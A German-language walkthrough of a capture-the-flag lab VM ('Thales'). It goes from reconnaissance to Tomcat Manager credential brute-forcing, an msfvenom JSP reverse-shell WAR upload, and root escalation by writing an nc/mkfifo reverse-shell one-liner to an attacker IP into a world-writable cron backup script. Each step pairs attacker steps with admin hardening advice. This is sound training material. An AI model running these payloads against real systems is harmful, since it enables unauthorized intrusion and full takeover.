192.168.2.113 08:00:27:62:b9:ca PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk nach aktiven Hosts mittels ARP-Anfragen und listet die gefundenen IP- und MAC-Adressen auf.
Bewertung: Ein Host wurde unter 192.168.2.113 identifiziert. Die MAC-Adresse (08:00:27:...) und der Hersteller "PCS Systemtechnik GmbH" deuten auf eine VirtualBox VM hin. Dies ist unser Zielsystem.
Empfehlung (Pentester): Verwenden Sie die IP 192.168.2.113 für nachfolgende, detailliertere Scans mit Nmap.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Spoofing-Erkennung können die Aufklärung erschweren.
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt: 192.168.2.113 thales.vln
Analyse: Die lokale Hosts-Datei wird bearbeitet (`vi /etc/hosts`), um der IP-Adresse 192.168.2.113 den Hostnamen `thales.vln` zuzuordnen.
Bewertung: Ermöglicht die Adressierung des Ziels über den Namen `thales.vln`, was die Handhabung, insbesondere bei Webdiensten, vereinfacht.
Empfehlung (Pentester): Sinnvolle Praxis zur Verbesserung der Übersichtlichkeit während des Tests.
Empfehlung (Admin): Keine direkte Sicherheitsrelevanz für das Zielsystem.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-10 22:43 CEST
Nmap scan report for troll.vln (192.168.2.113) # Hinweis: Hostname im Scan-Report weicht vom /etc/hosts Eintrag ab (troll.vln vs thales.vln)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8c19ab9172a571d86d751d8f65dfe132 (RSA)
| 256 906ea0eed5296cb97b05dbc6825c19bf (ECDSA)
|_ 256 544d7be8f97f21343eed0fd9fe93bf00 (ED25519)
8080/tcp open http Apache Tomcat 9.0.52
|_http-title: Apache Tomcat/9.0.52
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:62:B9:CA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.15 ms troll.vln (192.168.2.113)
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -AO -p-`) wird gegen das Ziel 192.168.2.113 durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren.
Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 22 (SSH):** Läuft OpenSSH 7.6p1 auf Ubuntu. Eine relativ standardmäßige Version. * **Port 8080 (HTTP):** Läuft Apache Tomcat 9.0.52. Dies ist ein Java Application Server, der oft eine interessante Angriffsfläche bietet (Manager-Interface, Default-Anwendungen). Die Betriebssystemerkennung deutet auf einen Linux-Kernel im Bereich 4.x/5.x hin. Der im Scan angezeigte Hostname `troll.vln` weicht vom manuell gesetzten `thales.vln` ab, was auf eine Diskrepanz zwischen Reverse-DNS/NetBIOS-Namen und der manuellen Konfiguration hindeutet.
Empfehlung (Pentester): Der Fokus sollte auf dem Apache Tomcat Dienst auf Port 8080 liegen. Untersuchen Sie diesen Port weiter mit Tools wie Nikto und Gobuster. Suchen Sie nach Standard-Anmeldedaten, öffentlichen Management-Interfaces oder bekannten Schwachstellen für Tomcat 9.0.52. SSH bleibt ein sekundärer Vektor.
Empfehlung (Admin): Sichern Sie den Apache Tomcat Server ab: Entfernen Sie nicht benötigte Standardanwendungen (wie Manager, Host Manager, Beispiele), ändern Sie Standard-Passwörter, beschränken Sie den Zugriff auf Management-Interfaces und halten Sie Tomcat aktuell.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.52 |_http-open-proxy: Proxy might be redirecting requests
Analyse: Wiederholt den vorherigen Nmap-Scan, filtert die Ausgabe aber mit `grep open` für eine schnelle Übersicht der offenen Ports.
Bewertung: Bestätigt die offenen Ports 22 (SSH) und 8080 (HTTP/Tomcat).
Empfehlung (Pentester): Fokussieren Sie sich auf Port 8080 (Tomcat).
Empfehlung (Admin): Siehe vorherige Empfehlungen für Nmap.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.113 + Target Hostname: 192.168.2.113 + Target Port: 8080 + Start Time: 2023-09-10 22:44:45 (GMT2) --------------------------------------------------------------------------- + Server: No banner retrieved + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS . + HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server. + HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server. + /examples/servlets/index.html: Apache Tomcat default JSP pages present. + /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104 + /manager/html: Default Tomcat Manager / Host Manager interface found. + /host-manager/html: Default Tomcat Manager / Host Manager interface found. + /manager/status: Default Tomcat Server Status interface found. + 8406 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2023-09-10 22:45:17 (GMT2) (32 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `nikto` scannt den Tomcat-Server auf Port 8080 (`-h 192.168.2.113:8080`) nach bekannten Schwachstellen und interessanten Dateien/Verzeichnissen.
Bewertung: Nikto liefert wichtige Ergebnisse für Tomcat: * **Fehlende Security Header:** Standardfund. * **Erlaubte HTTP Methoden:** GET, HEAD, POST, **PUT, DELETE,** OPTIONS. Die erlaubten Methoden PUT und DELETE sind potenziell gefährlich, da sie das Hochladen oder Löschen von Dateien auf dem Server ermöglichen könnten, wenn die Berechtigungen dies zulassen. * **Default Tomcat Pages:** `/examples/servlets/index.html` und `/examples/jsp/snp/snoop.jsp` sind vorhanden. Diese Beispielanwendungen können Informationslecks oder manchmal Schwachstellen enthalten. * **Tomcat Management Interfaces:** `/manager/html`, `/host-manager/html` und `/manager/status` sind erreichbar. Dies sind die kritischsten Funde, da der Zugriff auf das Manager-Interface oft das Hochladen von WAR-Dateien (Web Archives) und somit die Ausführung von Code ermöglicht.
Empfehlung (Pentester): Versuchen Sie, auf das Tomcat Manager Interface (`/manager/html`) zuzugreifen. Versuchen Sie, sich mit Standard-Tomcat-Anmeldedaten (z.B. `tomcat:tomcat`, `admin:admin`, `manager:manager`, `admin:s3cret`) anzumelden. Verwenden Sie ein Brute-Force-Tool wie Metasploit (`auxiliary/scanner/http/tomcat_mgr_login`) oder Hydra, um die Anmeldedaten zu finden. Prüfen Sie, ob PUT- oder DELETE-Anfragen ohne Authentifizierung oder mit schwachen Anmeldedaten möglich sind.
Empfehlung (Admin): Entfernen Sie die Standard-Tomcat-Anwendungen (examples, manager, host-manager) von Produktionsservern oder schränken Sie den Zugriff darauf stark ein (z.B. nur von bestimmten IPs, starke einzigartige Passwörter). Deaktivieren Sie unnötige HTTP-Methoden wie PUT und DELETE, wenn sie nicht benötigt werden.
Der Fokus liegt nun darauf, Zugriff auf das Tomcat Manager Interface zu erlangen, um darüber Initial Access zu bekommen.
Module options (auxiliary/scanner/http/tomcat_mgr_login): Name Current Setting Required Description ---- --------------- -------- ----------- [...] PASS_FILE /usr/share/metasploit- no File containing passwords, one per li framework/data/wordlis ne ts/tomcat_mgr_default_ pass.txt [...] RHOSTS yes The target host(s), see https://docs. [...] RPORT 8080 yes The target port (TCP) [...] TARGETURI /manager/html yes URI for Manager login. Default is /ma nager/html [...] USERPASS_FILE /usr/share/metasploit- no File containing users and passwords s framework/data/wordlis eparated by space, one pair per line ts/tomcat_mgr_default_ userpass.txt [...] USER_FILE /usr/share/metasploit- no File containing users, one per line framework/data/wordlis ts/tomcat_mgr_default_ users.txt [...] VERBOSE true yes Whether to print output for all attem pts [...]
RHOSTS => 192.168.2.113
RPORT => 8080
TARGETURI => /manager/html
VERBOSE => true
[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:manager (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:root (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:tomcat (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:s3cret (Incorrect)
[...]
[+] 192.168.2.113:8080 - Login Successful: tomcat:role1
Analyse: Das Metasploit Framework wird gestartet (`msfconsole -q`). Das Modul `auxiliary/scanner/http/tomcat_mgr_login` wird ausgewählt, um einen Brute-Force-Angriff auf das Tomcat Manager Interface (`/manager/html` auf Port 8080) durchzuführen. Die Optionen `RHOSTS`, `RPORT` und `TARGETURI` werden entsprechend gesetzt. Das Modul verwendet Standard-Wortlisten für Benutzernamen (`tomcat_mgr_default_users.txt`) und Passwörter (`tomcat_mgr_default_pass.txt`).
Bewertung: Der Brute-Force-Angriff ist erfolgreich! Das Modul findet gültige Anmeldedaten: Benutzer `tomcat` mit dem Passwort `role1`. Der Zugriff auf das Tomcat Manager Interface ist nun möglich.
Empfehlung (Pentester): Loggen Sie sich mit den gefundenen Zugangsdaten (`tomcat:role1`) über einen Webbrowser in das Manager Interface (`http://192.168.2.113:8080/manager/html`) ein. Bereiten Sie eine WAR-Datei mit einer Reverse Shell (z.B. mit `msfvenom`) vor und laden Sie diese über das Manager Interface hoch, um eine Shell auf dem System zu erhalten.
Empfehlung (Admin): Ändern Sie *dringend* die Standard-Tomcat-Passwörter oder, besser noch, deaktivieren Sie das Manager-Interface, wenn es nicht benötigt wird, oder schränken Sie den Zugriff darauf stark ein (IP-Filterung, starke, einzigartige Passwörter).
Payload size: 1089 bytes Final size of war file: 1089 bytes
Analyse: `msfvenom` wird verwendet, um einen Payload zu generieren. * `-p java/jsp_shell_reverse_tcp`: Wählt den Payload-Typ: eine Java/JSP-basierte Reverse Shell, die sich zurück zum Angreifer verbindet. * `LHOST=192.168.2.199`: Setzt die IP-Adresse des Angreifers, zu der sich die Shell verbinden soll. * `LPORT=8004`: Setzt den Port auf der Angreifer-Maschine, auf dem der Listener lauschen wird. * `-f war`: Gibt das Ausgabeformat an: eine WAR-Datei (Web Application Archive), die direkt in Tomcat deployt werden kann. * `> reverse.war`: Leitet die Ausgabe in eine Datei namens `reverse.war`.
Bewertung: Eine WAR-Datei (`reverse.war`) mit einer Reverse-Shell wurde erfolgreich erstellt. Diese Datei ist bereit für den Upload über das Tomcat Manager Interface.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem Angreifer-System auf Port 8004 (`nc -lvnp 8004`). Laden Sie dann die `reverse.war`-Datei über das Tomcat Manager Interface hoch (`http://192.168.2.113:8080/manager/html` mit den Credentials `tomcat:role1`). Tomcat wird die WAR-Datei automatisch deployen und ausführen, was die Reverse-Shell-Verbindung auslösen sollte.
Empfehlung (Admin): Überwachen und beschränken Sie die Deployment-Fähigkeiten im Tomcat Manager. Implementieren Sie ggf. Sicherheitsprüfungen für hochgeladene WAR-Dateien.
# (Datei wird verschoben, vermutlich um sie einfacher im Browser-Upload zu finden)
Analyse: Die erstellte `reverse.war`-Datei wird in das Downloads-Verzeichnis des Benutzers verschoben.
Bewertung: Ein einfacher organisatorischer Schritt, um die Datei für den Upload über den Browser im Tomcat Manager leicht zugänglich zu machen.
Empfehlung (Pentester): Fahren Sie mit dem Upload über den Browser fort.
Empfehlung (Admin): Keine direkte Relevanz.
Die `reverse.war`-Datei wird nun über das Tomcat Manager Webinterface (`http://192.168.2.113:8080/manager/html`) mit den Credentials `tomcat:role1` hochgeladen und deployt. Parallel wird der Netcat-Listener gestartet.
listening on [any] 8004 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.113] 40684
Analyse: Ein Netcat-Listener wird auf Port 8004 gestartet. Kurz darauf geht eine Verbindung vom Zielsystem (192.168.2.113) ein.
Bewertung: Der Upload und das Deployment der `reverse.war`-Datei über den Tomcat Manager waren erfolgreich. Die JSP-Reverse-Shell wurde ausgeführt und hat sich erfolgreich zurück zum Listener verbunden. Initial Access wurde erreicht.
Empfehlung (Pentester): Interagieren Sie mit der erhaltenen Shell. Führen Sie `id` aus, um den Benutzerkontext zu bestätigen (erwartet wird `tomcat`). Beginnen Sie mit der Post-Exploitation und der Suche nach Wegen zur Privilegieneskalation.
Empfehlung (Admin): Überwachen Sie Tomcat-Logs auf WAR-Deployments. Beschränken Sie den Zugriff auf den Manager. Implementieren Sie Egress-Filterung, um ausgehende Reverse-Shell-Verbindungen zu blockieren oder zu erkennen.
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
Analyse: Der `id`-Befehl wird in der Reverse Shell ausgeführt.
Bewertung: Bestätigt, dass die Shell wie erwartet als Benutzer `tomcat` (UID 999) läuft.
Empfehlung (Pentester): Beginnen Sie mit der Enumeration des Systems aus der Sicht des `tomcat`-Benutzers.
Empfehlung (Admin): Betreiben Sie Dienste wie Tomcat mit dedizierten Benutzern mit möglichst geringen Rechten.
thales
total 52 drwxr-xr-x 6 thales thales 4096 Oct 14 2021 . drwxr-xr-x 3 root root 4096 Aug 15 2021 .. -rw------- 1 thales thales 457 Oct 14 2021 .bash_history -rw-r--r-- 1 thales thales 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 thales thales 3771 Apr 4 2018 .bashrc drwx------ 2 thales thales 4096 Aug 15 2021 .cache drwx------ 3 thales thales 4096 Aug 15 2021 .gnupg drwxrwxr-x 3 thales thales 4096 Aug 15 2021 .local -rw-r--r-- 1 root root 107 Oct 14 2021 notes.txt -rw-r--r-- 1 thales thales 807 Apr 4 2018 .profile -rw-r--r-- 1 root root 66 Aug 15 2021 .selected_editor drwxrwxrwx 2 thales thales 4096 Aug 16 2021 .ssh -rw-r--r-- 1 thales thales 0 Oct 14 2021 .sudo_as_admin_successful -rw------- 1 thales thales 33 Aug 15 2021 user.txt
Analyse: Das Home-Verzeichnis wird untersucht. Es existiert ein Benutzer `thales`. Das Verzeichnis `/home/thales` wird aufgelistet.
Bewertung: Mehrere interessante Dateien werden gefunden: * `notes.txt`: Gehört `root`, ist aber für alle lesbar (`-rw-r--r--`). Enthält potenziell Hinweise. * `.ssh`: Verzeichnis ist für alle beschreibbar (`drwxrwxrwx`). Dies ist eine unsichere Konfiguration. * `user.txt`: Die User-Flag, gehört `thales`, aber nicht lesbar für `tomcat` (`-rw-------`).
Empfehlung (Pentester): Lesen Sie den Inhalt von `notes.txt`. Untersuchen Sie die unsicheren Berechtigungen des `.ssh`-Verzeichnisses. Es könnte möglich sein, einen eigenen SSH-Schlüssel in `authorized_keys` zu platzieren (falls die Datei existiert und beschreibbar ist oder neu erstellt werden kann), um sich als `thales` per SSH einzuloggen.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen des `.ssh`-Verzeichnisses (`chmod 700 /home/thales/.ssh`). Stellen Sie sicher, dass sensible Notizdateien nicht für alle lesbar sind.
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
Analyse: Der Inhalt der Datei `notes.txt` wird angezeigt.
Bewertung: Die Notiz gibt einen entscheidenden Hinweis: Es existiert ein Backup-Skript unter `/usr/local/bin/backup.sh`. Solche Skripte werden oft von Cronjobs mit höheren Rechten (z.B. `root`) ausgeführt.
Empfehlung (Pentester): Untersuchen Sie das Skript `/usr/local/bin/backup.sh`. Prüfen Sie dessen Inhalt und insbesondere dessen Berechtigungen. Wenn das Skript für den `tomcat`-Benutzer beschreibbar ist und als `root` ausgeführt wird, ist dies ein klarer Weg zur Privilegieneskalation.
Empfehlung (Admin): Stellen Sie sicher, dass Skripte, die mit erhöhten Rechten laufen (z.B. via Cron), nicht von unprivilegierten Benutzern beschrieben werden können. Überprüfen Sie die Logik solcher Skripte auf Sicherheit.
-rwxrwxrwx 1 root root 612 Oct 14 2021 /usr/local/bin/backup.sh
Analyse: Die Berechtigungen des Backup-Skripts werden überprüft.
Bewertung: Kritischer Fund! Das Skript `/usr/local/bin/backup.sh` gehört zwar `root`, hat aber die Berechtigungen `-rwxrwxrwx`. Das bedeutet, es ist für **jeden** Benutzer lesbar, **schreibbar** und ausführbar. Da die Notiz andeutet, dass es sich um ein Backup-Skript handelt, ist es sehr wahrscheinlich, dass es periodisch (z.B. per Cron) als `root` ausgeführt wird.
Empfehlung (Pentester): Dies ist der klare Weg zur Root-Eskalation. Bearbeiten Sie das Skript `/usr/local/bin/backup.sh` und fügen Sie einen Befehl hinzu, der Ihnen eine Root-Shell gibt (z.B. eine Reverse Shell oder das Setzen des SUID-Bits auf `/bin/bash`). Warten Sie dann, bis das Skript ausgeführt wird (oder versuchen Sie, die Ausführung zu triggern, falls möglich).
Empfehlung (Admin): Korrigieren Sie *dringend* die Berechtigungen des Skripts (`chmod 750 /usr/local/bin/backup.sh` oder restriktiver). Stellen Sie sicher, dass nur der Eigentümer (`root`) Schreibrechte hat. Überprüfen Sie systemweit Dateiberechtigungen, insbesondere für Skripte in `bin`-Verzeichnissen oder solche, die von Cron ausgeführt werden.
Das für alle beschreibbare Backup-Skript `/usr/local/bin/backup.sh`, das vermutlich als Root ausgeführt wird, wird nun modifiziert, um eine Root-Reverse-Shell zu erhalten.
(Im Editor wird der ursprüngliche Inhalt auskommentiert oder gelöscht und der Reverse-Shell-Payload eingefügt)
#!/bin/bash #################################### # # Backup to NFS mount script. # #################################### rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 9001 >/tmp/f # Payload für Reverse Shell auf Port 9001 # What to backup. #backup_files="/opt/tomcat/" # Auskommentierter Originalcode # Where to backup to. #dest="/var/backups" # Auskommentierter Originalcode # Create archive filename. # Rest des Originalcodes hier nicht gezeigt
Analyse: Das Skript `/usr/local/bin/backup.sh` wird mit einem Editor (`nano` oder ähnlich) bearbeitet. Der `cat`-Befehl zeigt den modifizierten Inhalt: Der ursprüngliche Backup-Code wurde (vermutlich) auskommentiert und durch einen Einzeiler für eine Reverse Shell ersetzt. Dieser Befehl (`rm /tmp/f;... nc 192.168.2.199 9001 >/tmp/f`) erstellt eine Named Pipe (`/tmp/f`), startet Netcat, um sich zum Angreifer (192.168.2.199) auf Port 9001 zu verbinden, und leitet die Ein-/Ausgabe einer interaktiven Shell (`/bin/sh -i`) durch diese Verbindung.
Bewertung: Das Skript wurde erfolgreich manipuliert. Wenn dieses Skript nun als `root` ausgeführt wird (z.B. durch einen Cronjob), wird es versuchen, eine Reverse Shell zum Angreifer auf Port 9001 aufzubauen.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Ihrem System auf Port 9001 (`nc -lvnp 9001`). Warten Sie, bis der Cronjob (oder was auch immer das Skript ausführt) läuft. Wenn die Verbindung eingeht, haben Sie eine Root-Shell.
Empfehlung (Admin): Überwachen Sie Dateiänderungen an kritischen Skripten (File Integrity Monitoring). Korrigieren Sie die unsicheren Berechtigungen des Skripts. Stellen Sie sicher, dass Cronjobs nur notwendige Skripte ausführen und diese sicher sind.
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.113] 45710 /bin/sh: 0: can't access tty; job control turned off #
Analyse: Ein Netcat-Listener wird auf Port 9001 auf dem Angreifer-System gestartet. Nach kurzer Zeit geht eine Verbindung vom Zielsystem ein, und es erscheint ein Shell-Prompt (`#`).
Bewertung: Erfolg! Das modifizierte `backup.sh`-Skript wurde als Root ausgeführt, und die Reverse Shell wurde erfolgreich etabliert. Der Prompt `#` deutet auf Root-Rechte hin.
Empfehlung (Pentester): Fantastisch, Root-Zugriff erreicht! Überprüfen Sie die Rechte mit `id`. Suchen Sie die Root- und User-Flags.
Empfehlung (Admin): Implementieren Sie Egress-Filterung, um ausgehende Verbindungen zu blockieren/erkennen. Überwachen Sie Cronjob-Ausführungen und Prozessaktivitäten auf Anomalien. Korrigieren Sie die Dateiberechtigungen des Skripts.
uid=0(root) gid=0(root) groups=0(root)
3a1c85bebf8833b0ecae900fb8598b17
notes.txt user.txt
a837c0b5d2a8a07225fd9905f5a0e9c4
Analyse: In der Root-Shell wird `id` ausgeführt, um die Root-Rechte zu bestätigen. Anschließend wird (vermutlich aus `/root`) die `root.txt`-Datei gelesen. Danach wird in das Verzeichnis `/home/thales` gewechselt und die `user.txt`-Datei gelesen.
Bewertung: Root-Rechte sind bestätigt. Beide Flags, `root.txt` und `user.txt`, wurden erfolgreich ausgelesen. Das Ziel der vollständigen Kompromittierung wurde erreicht.
Empfehlung (Pentester): Aufgabe abgeschlossen. Dokumentieren Sie den gesamten Prozess, einschließlich des Eskalationsvektors über das beschreibbare Backup-Skript.
Empfehlung (Admin): Neben der Korrektur der Skriptberechtigungen ist eine generelle Härtung des Systems und die Überprüfung von Cronjobs und Dateiberechtigungen unerlässlich.